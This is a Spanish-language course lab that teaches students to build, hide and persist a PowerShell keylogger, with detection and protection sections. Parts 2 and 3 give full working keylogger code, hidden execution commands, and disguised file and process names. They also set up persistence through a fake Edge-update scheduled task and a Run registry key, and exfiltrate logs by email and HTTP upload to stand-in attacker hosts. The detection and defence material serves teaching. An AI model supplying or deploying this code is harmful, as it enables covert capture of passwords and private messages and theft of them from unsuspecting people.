Lab 3.3: Keylogger PowerShell - Captura de Pulsaciones de Teclado
Objetivos de Aprendizaje
Al final de este laboratorio, usted será capaz de:
- Comprender el funcionamiento de un keylogger
- Crear un keylogger PowerShell simple
- Implementar sigilo y persistencia
- Detectar la presencia de un keylogger
- Comprender los riesgos asociados a PCs públicos y no supervisados
- Aplicar medidas de protección
Duración Estimada
35 minutos
Prerrequisitos
- VM Windows 10/11
- PowerShell
- Comprensión de los Labs 3.1 y 3.2
Contexto Profesional
Los keyloggers son utilizados por:
- Atacantes para robar contraseñas e información sensible
- Empresas para la supervisión de empleados (¡con consentimiento legal!)
- Padres para monitorear la actividad de los hijos (control parental)
- Gobiernos para vigilancia dirigida (con orden judicial)
Este laboratorio demuestra:
- Cómo TODO lo que usted escribe puede ser capturado
- Por qué los PCs públicos son peligrosos
- Cómo operan los ladrones de identidad
- Importancia de la seguridad física
- Técnicas de detección
⚠️ ADVERTENCIA ÉTICA Y LEGAL - EXTREMADAMENTE IMPORTANTE
ESTE LABORATORIO ENSEÑA LA CREACIÓN DE UN KEYLOGGER
Los keyloggers son herramientas EXTREMADAMENTE invasivas que capturan TODO lo que se escribe: contraseñas, mensajes privados, correos electrónicos, números de tarjeta bancaria, etc.
LEGAL ÚNICAMENTE SI:
- En su propio ordenador/VM
- Con consentimiento escrito de todas las personas monitoreadas
- Para pruebas de seguridad autorizadas por contrato
- Para monitoreo parental legal (solo menores de edad)
ESTRICTAMENTE ILEGAL:
- Instalar en el ordenador de otra persona sin consentimiento
- En PCs públicos (biblioteca, café, etc.)
- En PC de trabajo sin autorización del empleador
- En PC de cónyuge/pareja/familia sin consentimiento
CONSECUENCIAS EXTREMADAMENTE GRAVES:
- Delito grave: Violación de la privacidad (Código penal art. 184)
- Prisión hasta 5 años
- Multas elevadas
- Antecedentes penales permanentes
- Demanda civil por daños
- Expulsión académica
EN ALGUNOS PAÍSES/ESTADOS:
- Keylogging = Delito al mismo nivel que la interceptación de comunicaciones
- Penas aún más severas
ESTE LABORATORIO ES SOLO PARA COMPRENSIÓN Y DEFENSA
Al realizar este laboratorio, usted entiende que estas técnicas existen y aprende a protegerse de ellas. El uso malicioso es SU responsabilidad y tendrá graves consecuencias legales.
Parte 1: Comprender los Keyloggers
Paso 1.1: ¿Qué es un Keylogger?
Keylogger = Software (o hardware) que registra todas las pulsaciones de teclado.
Captura:
- Contraseñas
- Mensajes (correo, chat, SMS)
- Documentos escritos
- Búsquedas web
- Números de tarjeta bancaria
- Código PIN
- ¡TODO!
Tipos:
- Software (este laboratorio): Programa que se ejecuta en segundo plano
- Hardware: Dispositivo físico entre teclado y PC
- A nivel de kernel: Integrado en el sistema operativo
- A nivel de hipervisor: A nivel de virtualización
Paso 1.2: ¿Cómo Funciona?
Principio técnico:
- Hook de teclado: Intercepta los eventos del teclado
- Captura de tecla: Registra qué tecla se presiona
- Timestamp: Hora exacta de la pulsación
- Ventana activa: Qué programa/sitio está activo
- Guardado: Escribe en un archivo log oculto
- Exfiltración: Envía los logs al atacante
API de Windows utilizada:
GetAsyncKeyState()- Estado actual de las teclasGetForegroundWindow()- Ventana activaGetWindowText()- Título de la ventana
Preguntas:
- ¿Ha utilizado alguna vez un PC público (biblioteca, café)?
- ¿Ha escrito contraseñas en esos PCs?
Paso 1.3: Escenarios de Uso Malicioso
Escenario 1: PC Público
- Keylogger instalado en PC de biblioteca
- Usted escribe contraseña de correo/banco
- Atacante recupera el log más tarde
- Accede a todas sus cuentas
Escenario 2: USB Malicioso
- Memoria USB encontrada contiene keylogger
- Auto-ejecución o curiosidad → Instalación
- Captura durante meses
- Robo de identidad completo
Escenario 3: Pareja Celosa
- Instalación en PC compartido
- Captura conversaciones, correos
- Grave violación de la privacidad
- ¡Ilegal incluso entre parejas!
Preguntas: 3. ¿Qué escenario le parece más probable? 4. ¿Cómo se protegería?
Parte 2: Creación del Keylogger
Paso 2.1: Versión Básica (¡15 líneas!)
Cree un archivo keylogger_basic.ps1:
# Keylogger PowerShell Básico
$logFile = "$env:TEMP\log.txt"
Add-Type -AssemblyName System.Windows.Forms
while ($true) {
Start-Sleep -Milliseconds 10
foreach ($key in [Enum]::GetValues([System.Windows.Forms.Keys])) {
if ([System.Windows.Forms.Control]::IsKeyLocked($key)) {
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$logEntry = "$timestamp - $key"
Add-Content -Path $logFile -Value $logEntry
}
}
}
ATENCIÓN: Este código está simplificado para demostración. La versión real es más compleja.
Ejecute en segundo plano:
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File keylogger_basic.ps1
¡Ventana invisible! El keylogger se ejecuta en segundo plano.
Paso 2.2: Versión Mejorada (Más Realista)
Cree keylogger_advanced.ps1:
# Keylogger PowerShell Avanzado
# ¡SOLO PARA USO EDUCATIVO!
$logFile = "$env:APPDATA\Microsoft\Windows\winlog.txt"
$lastWindow = ""
# Firma API Windows
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;
public class KeyLogger {
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
}
"@
function Get-ActiveWindowTitle {
$handle = [KeyLogger]::GetForegroundWindow()
$title = New-Object System.Text.StringBuilder 256
[void][KeyLogger]::GetWindowText($handle, $title, $title.Capacity)
return $title.ToString()
}
function Write-Log {
param($text)
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
Add-Content -Path $logFile -Value "[$timestamp] $text" -Force
}
Write-Log "===== Keylogger Started ====="
# Bucle principal
while ($true) {
Start-Sleep -Milliseconds 10
# Verificar ventana activa
$currentWindow = Get-ActiveWindowTitle
if ($currentWindow -ne $lastWindow -and $currentWindow -ne "") {
Write-Log "`n=== Window: $currentWindow ==="
$lastWindow = $currentWindow
}
# Verificar cada tecla
for ($i = 8; $i -le 190; $i++) {
$keyState = [KeyLogger]::GetAsyncKeyState($i)
if ($keyState -eq -32767) {
# Tecla presionada
$key = [System.Enum]::GetName([System.Windows.Forms.Keys], $i)
# Teclas especiales
switch ($i) {
8 { Write-Log "[BACKSPACE]"; break }
9 { Write-Log "[TAB]"; break }
13 { Write-Log "[ENTER]`n"; break }
16 { continue } # Shift
17 { continue } # Ctrl
18 { continue } # Alt
20 { Write-Log "[CAPSLOCK]"; break }
27 { Write-Log "[ESC]"; break }
32 { Write-Log " "; break }
46 { Write-Log "[DELETE]"; break }
default {
# Letra o número
if ($key) {
$char = [char]$i
Write-Log $char -NoNewline
}
}
}
}
}
}
Funcionalidades:
- ✅ Captura todas las teclas
- ✅ Detecta la ventana activa (saber qué sitio/app)
- ✅ Timestamp preciso
- ✅ Archivo log oculto
- ✅ Maneja teclas especiales (Enter, Backspace, etc.)
Preguntas: 5. ¿Cuántas líneas tiene este keylogger? 6. ¿Es difícil de crear? (Respuesta: ¡NO!)
Paso 2.3: Ejecución y Prueba
Inicie el keylogger:
Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Path\To\keylogger_advanced.ps1"
Ahora, escriba cosas:
- Abra Notepad
- Escriba: "Esto es una prueba"
- Abra el navegador
- Escriba: "contraseña: Test123!"
- Abra la calculadora
- Escriba algunos números
Detenga el keylogger:
Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process
Paso 2.4: Ver los Resultados
Abra el archivo log:
notepad "$env:APPDATA\Microsoft\Windows\winlog.txt"
USTED VE:
[2024-11-08 14:23:15] ===== Keylogger Started =====
[2024-11-08 14:23:20] === Window: Sin título - Bloc de notas ===
E s t o e s u n a p r u e b a [ENTER]
[2024-11-08 14:23:45] === Window: Google Chrome - google.com ===
c o n t r a s e ñ a : T e s t 1 2 3 ! [ENTER]
[2024-11-08 14:24:10] === Window: Calculadora ===
1 2 3 4 5 6 7 8 9 0
¡WOW! ¡TODO ESTÁ CAPTURADO!
Incluso:
- Las contraseñas (mostradas como puntos pero capturadas en claro)
- Las ventanas utilizadas
- La hora exacta
- Las teclas especiales
Preguntas: 7. ¿Le sorprende ver todo lo que se ha capturado? 8. Imagine este archivo después de un día completo...
Parte 3: Sigilo y Persistencia
Paso 3.1: Hacerlo Invisible
Problema actual:
- Proceso powershell.exe visible en el Administrador de tareas
- Consumo de CPU visible
- Archivo log detectable
Mejoras:
1. Nombre de proceso disfrazado:
Renombrar el script:
winupdate.ps1(parece Windows Update)svchost.ps1(parece servicio de Windows)chrome_update.ps1(parece Chrome)
2. Archivo log oculto:
$logFile = "$env:APPDATA\Microsoft\Windows\Logs\winupdate.log"
# Crear carpeta si no existe
New-Item -ItemType Directory -Force -Path (Split-Path $logFile)
# Marcar archivo como oculto y de sistema
$file = Get-Item $logFile -Force
$file.Attributes = 'Hidden,System'
3. Reducir consumo de CPU:
# En vez de 10ms, usar 50ms o 100ms
Start-Sleep -Milliseconds 50
¡Menos preciso pero menos detectable!
Paso 3.2: Persistencia Automática
Método 1: Tarea Programada
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\winupdate.ps1"
$trigger = New-ScheduledTaskTrigger -AtLogon
$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest
Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" `
-Action $action -Trigger $trigger -Principal $principal `
-Description "Keeps your Microsoft Edge up to date"
¡Nombre que parece tarea legítima!
Método 2: Clave de Registro Run
$scriptPath = "C:\Windows\Temp\winupdate.ps1"
$psCommand = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File $scriptPath"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "WindowsSecurityUpdate" -Value $psCommand
¡Se inicia en cada inicio de sesión!
Método 3: Servicio de Windows (Avanzado)
# Crear servicio de Windows disfrazado
# Requiere privilegios SYSTEM
# No cubierto en detalle aquí pero muy eficaz
Preguntas: 9. ¿Qué método de persistencia prefiere? 10. ¿Cómo detectaría esto un usuario normal?
Paso 3.3: Exfiltración de Logs
Problema: El atacante debe recuperar el archivo log
Soluciones:
1. Email automático (simple):
# Enviar log por email cada día
$emailFrom = "keylogger@attacker.com"
$emailTo = "attacker@evil.com"
$subject = "Log from $env:COMPUTERNAME"
$body = Get-Content $logFile -Raw
$smtp = "smtp.attacker.com"
Send-MailMessage -From $emailFrom -To $emailTo -Subject $subject -Body $body -SmtpServer $smtp
2. Upload HTTP (sigiloso):
$url = "http://attacker.com/upload.php"
$logContent = Get-Content $logFile -Raw
Invoke-WebRequest -Uri $url -Method POST -Body @{data=$logContent} -UseBasicParsing
3. Reverse shell periódico:
Enviar log vía reverse shell establecido (¡Lab 3.2!)
4. Almacenamiento en la nube (muy sigiloso):
# Subir a Dropbox/OneDrive/Google Drive
# Pasa desapercibido porque es tráfico "legítimo"
¡Difícil de detectar porque parece tráfico normal!
Parte 4: Detección de Keylogger
Paso 4.1: Detección por Proceso
Buscar procesos PowerShell sospechosos:
Get-Process powershell | Select-Object Id,ProcessName,StartTime,Path,CommandLine | Format-List
Sospechoso si:
- Iniciado al inicio de sesión
- Argumento contiene "Hidden"
- No lo inició usted
- Lleva mucho tiempo ejecutándose
Terminar proceso sospechoso:
Stop-Process -Id <PID> -Force
Paso 4.2: Detección por Archivos
Buscar archivos logs sospechosos:
# Buscar archivos .txt o .log modificados recientemente
Get-ChildItem -Path C:\Users\$env:USERNAME\AppData -Recurse -Include *.txt,*.log -Force -ErrorAction SilentlyContinue |
Where-Object {$_.LastWriteTime -gt (Get-Date).AddHours(-1)} |
Select-Object FullName,Length,LastWriteTime
Examine archivos sospechosos:
notepad "C:\Path\To\Suspicious\File.txt"
Si ve sus propias pulsaciones = ¡KEYLOGGER!
Paso 4.3: Detección por Tareas Programadas
Listar todas las tareas:
Get-ScheduledTask | Where-Object {$_.State -eq "Ready"} |
Select-Object TaskName,TaskPath,State |
Format-Table -AutoSize
Examinar tareas sospechosas:
$task = Get-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore"
$task | Select-Object * | Format-List
$task.Actions
Sospechoso si:
- El nombre parece servicio de Windows pero realmente no existe
- Acción = PowerShell con script desconocido
- Usted no la creó
Eliminar:
Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" -Confirm:$false
Paso 4.4: Detección por Registro
Verificar claves Run:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
¡Cualquier entrada desconocida = sospechosa!
Eliminar:
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsSecurityUpdate"
Paso 4.5: Herramientas de Detección Automatizadas
Utilizar antivirus/antimalware:
# Windows Defender escaneo completo
Start-MpScan -ScanType FullScan
Herramientas especializadas:
- Malwarebytes (gratuito)
- HitmanPro
- RogueKiller
- KL-Detector (específico para keyloggers)
Preguntas: 11. ¿Ha detectado su propio keylogger? 12. ¿Cuánto tiempo tomó la detección?
Parte 5: Escenarios Reales e Impacto
Paso 5.1: Robo de Identidad Completo
Lo que un keylogger puede capturar en 1 semana:
Día 1:
- Correo: usuario + contraseña
- Redes sociales: Facebook, Instagram, Twitter
- Búsquedas personales en Google
Día 2:
- Banca en línea: usuario + contraseña + código
- Número de tarjeta bancaria + CVV + fecha de expiración
- Conversaciones privadas (Messenger, WhatsApp Web)
Día 3:
- VPN de empresa: acceso a red corporativa
- Correos profesionales sensibles
- Documentos confidenciales escritos
Día 4:
- Contraseñas de colegas (si se comparten)
- Credenciales de servidores
- Secretos industriales
Día 5-7:
- Acumulación de datos
- Patrones de vida (horas de conexión, hábitos)
- Contactos y relaciones
RESULTADO:
- Robo de identidad total
- Acceso a todas sus cuentas
- Compromiso de su empleador
- Posible chantaje
- Ruina financiera potencial
Paso 5.2: Caso Real - Magic Lantern (FBI)
2001: FBI desarrolla keylogger "Magic Lantern"
- Desplegado vía exploit o acceso físico
- Captura claves de cifrado
- Elude PGP y otros cifrados
Revelado públicamente: Controversia sobre privacidad
Paso 5.3: Caso Real - Cibercafés en Asia
Años 2010: Keyloggers descubiertos en 60% de PCs de cibercafés
- Tailandia, Filipinas, India
- Turistas víctimas
- Cuentas bancarias vaciadas tras regresar a casa
Consejo de viaje: ¡NUNCA acceda a la banca desde un PC público!
Paso 5.4: Caso Real - Empresa Comprometida
2018: Empresa farmacéutica comprometida
- Keylogger instalado en PC de empleado vía phishing
- Acceso VPN capturado
- Movimiento lateral hacia servidores de I+D
- Robo de fórmulas de medicamentos valoradas en más de $100M
Costo total: ¡Quiebra de la empresa!
Preguntas: 13. ¿Le parecen realistas estos escenarios? 14. ¿Cuál sería el impacto si hubiera un keylogger en su PC ahora?
Parte 6: Medidas de Protección
Paso 6.1: Protección Personal
1. NUNCA usar PC público para:
- Banca en línea
- Correo electrónico
- Redes sociales
- Compras en línea
- ¡Nada sensible!
2. Teclado virtual (on-screen keyboard):
osk
Haga clic en las letras en vez de escribir = ¡evita el keylogger!
Limitación: No es práctico para uso diario
3. Gestor de contraseñas:
Bitwarden, 1Password, LastPass:
- Autocompletado = no hay pulsaciones de teclado
- El keylogger no captura nada
4. Autenticación de dos factores (2FA):
Incluso si la contraseña es robada:
- 2FA impide el acceso
- Se requiere código en el teléfono
Paso 6.2: Protección Empresarial
1. Antivirus/EDR:
Endpoint Detection and Response:
- Detecta comportamientos sospechosos
- Bloquea keyloggers conocidos
- Alerta al equipo de seguridad
2. Whitelisting de aplicaciones:
Solo programas autorizados pueden ejecutarse:
# AppLocker
# Device Guard
# Windows Defender Application Control
3. Política de ejecución PowerShell:
Set-ExecutionPolicy AllSigned -Force
¡Solo scripts firmados por una autoridad aprobada!
4. Monitoreo:
- SIEM (Security Information and Event Management)
- Log de todos los procesos PowerShell
- Alerta si se ejecuta con "-Hidden"
Paso 6.3: Protección Física
PC Personal:
- BitLocker activado (impide instalación en modo recuperación)
- Bloqueo automático tras 1 minuto
- Contraseña BIOS (impide arranque alternativo)
- Nunca dejar sin supervisión
PC Empresarial: 5. Cifrado de disco completo obligatorio 6. Puertos USB desactivados (impide autorun) 7. Vigilancia por video en salas de servidores 8. Tarjeta de acceso requerida
Parte 7: Keyloggers Hardware
Paso 7.1: ¿Qué es un Keylogger Hardware?
Dispositivo físico:
- Conectado entre teclado y PC
- O integrado en el teclado
- O integrado en el cable
Ventajas (para el atacante):
- ¡Imposible de detectar por software!
- Ningún antivirus puede encontrarlo
- Funciona en cualquier SO (Windows, Linux, Mac)
- No hay proceso que ocultar
Apariencia:
- Parece un adaptador USB
- O completamente invisible (integrado)
Paso 7.2: Detección Hardware
Cómo detectar:
-
Inspección visual regular
- Verificar conexiones del teclado
- Buscar dispositivos entre teclado y PC
- Comparar con el estado normal
-
Verificar cables
- ¿Caja sospechosa en el cable?
- ¿Cable más grueso de lo habitual?
-
Baseline de hardware
- Fotografiar el setup normal
- Comparar regularmente
En la empresa:
- Sellos de seguridad en conectores
- Inventario de hardware estricto
- Inspecciones regulares
Paso 7.3: Protección Contra Hardware
Soluciones:
- Teclado inalámbrico Bluetooth (más difícil de interceptar)
- Inspección visual regular
- Entorno controlado
- Teclado virtual para contraseñas críticas
Parte 8: Ejercicios Prácticos
Ejercicio 8.1: Mejorar el Keylogger
Agregue estas funcionalidades:
- Captura de capturas de pantalla periódicas
- Detección de palabras clave ("password", "bank", "credit card")
- Cifrado del archivo log
- Compresión antes de la exfiltración
Ejercicio 8.2: Script de Detección
Cree un script que:
- Escanee procesos PowerShell sospechosos
- Verifique tareas programadas
- Busque archivos logs sospechosos
- Verifique claves de registro Run
- Genere reporte HTML
Ejercicio 8.3: Política de Seguridad
Redacte una política empresarial:
- Prohibición de keyloggers
- Procedimientos de detección
- Sanciones en caso de uso
- Formación de empleados
Entregables
A entregar:
-
Documento de análisis (Word/PDF, 3-4 páginas):
- Respuestas a las 14 preguntas
- Explicación del funcionamiento del keylogger
- Captura de pantalla del archivo log (¡ANONIMIZADA!)
- Análisis de riesgos personales
-
Capturas de pantalla (mínimo 5):
- Código del keylogger
- Proceso PowerShell en ejecución
- Archivo log con capturas (anonimizadas)
- Tarea programada de persistencia
- Detección y eliminación
-
Plan de protección personal (1-2 páginas):
- Evaluación de sus riesgos actuales
- Medidas a implementar
- Cambios de hábitos
- Cronograma de implementación
-
Sensibilización (opcional, +5% bonus):
- Video o presentación (5 min)
- "Por qué nunca usar un PC público"
- Demostración del keylogger
- Consejos de protección
Criterios de Evaluación
| Criterio | Puntos |
|---|---|
| Keylogger funcional creado y probado | 25% |
| Comprensión del funcionamiento | 20% |
| Detección y eliminación exitosas | 20% |
| Análisis de riesgos reales | 15% |
| Plan de protección personal | 15% |
| Calidad de la documentación | 5% |
| Bonus sensibilización | +5% |
Comandos de Referencia Rápida
Ejecución
# Iniciar keylogger oculto
Start-Process powershell -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass -File keylogger.ps1"
# Detener
Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process
Detección
# Procesos sospechosos
Get-Process powershell | Select Id,StartTime,CommandLine
# Archivos logs recientes
Get-ChildItem -Path $env:APPDATA -Recurse -Include *.txt,*.log -Force
# Tareas programadas
Get-ScheduledTask | Where State -eq "Ready"
# Claves Run
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
Limpieza
# Eliminar tarea
Unregister-ScheduledTask -TaskName "SuspiciousTask"
# Eliminar clave de registro
Remove-ItemProperty -Path "HKCU:\...\Run" -Name "Suspicious"
# Eliminar archivo log
Remove-Item -Path $logFile -Force
Solución de Problemas
Problema: El keylogger no captura nada
Solución:
- Verifique que el script se esté ejecutando (
Get-Process powershell) - Verifique que el archivo log se haya creado
- ¿Permisos de escritura en la carpeta?
Problema: Antivirus bloquea
Solución:
- ¡Es NORMAL! ¡Es un keylogger!
- Agregue exclusión solo para este laboratorio
- Reactivar protección después
Problema: Alto consumo de CPU
Solución:
- Aumente el delay de
Start-Sleep(50ms o 100ms) - Optimice el bucle de detección
Para Profundizar (Opcional)
Challenge 1: Keylogger GUI
Cree una interfaz gráfica para:
- Iniciar/detener la captura
- Ver logs en tiempo real
- Filtrar por aplicación
- Exportar en diferentes formatos
Challenge 2: Anti-Keylogger
Desarrolle una herramienta que:
- Detecte keyloggers activos
- Los elimine automáticamente
- Proteja en tiempo real
- Alerta al usuario
Challenge 3: Investigación
Estudie keyloggers profesionales:
- FinFisher/FinSpy (gubernamental)
- Ardamax Keylogger (comercial)
- Perfect Keylogger (comercial)
Compárelos con su versión.
Recursos Adicionales
- Windows API Documentation
- GetAsyncKeyState Function
- PowerShell Security Best Practices
- OWASP - Keyloggers
Conclusión
Este laboratorio le ha enseñado a:
- Crear un keylogger PowerShell funcional
- Implementar sigilo y persistencia
- Detectar y eliminar keyloggers
- Comprender los riesgos reales
- Aplicar medidas de protección
Lecciones CRÍTICAS:
- 15 líneas de código = ¡Keylogger funcional!
- TODO lo que usted escribe puede ser capturado
- PCs públicos = PELIGRO EXTREMO
- Gestor de contraseñas = Protección esencial
- Nunca escribir contraseñas sensibles en PC no seguro
- Detección difícil pero posible con vigilancia
TOMA DE CONSCIENCIA:
Después de este laboratorio, nunca volverá a ver un teclado de la misma manera. Cada vez que escriba una contraseña, pregúntese: "¿Este PC es seguro?"
PROTÉJASE:
- Use gestor de contraseñas AHORA
- Active 2FA en TODAS sus cuentas
- Nunca haga banca en PC público
- Revise regularmente sus procesos
- Eduque a su entorno
MENSAJE FINAL:
Ahora tiene el poder de crear un keylogger en pocos minutos. Este poder conlleva una ENORME responsabilidad.
Use este conocimiento para:
- ✅ Protegerse
- ✅ Proteger a los demás
- ✅ Sensibilizar a su entorno
- ✅ Pruebas de seguridad autorizadas
NUNCA para:
- ❌ Espiar
- ❌ Robar
- ❌ Violar la privacidad
- ❌ Dañar
Esté del lado de los buenos. 🛡️
Laboratorio desarrollado en el marco del curso Sistemas Operativos - MÓDULO 3
⚠️ RECORDATORIO FINAL: Keylogger en ordenador ajeno = DELITO GRAVE. Prisión garantizada.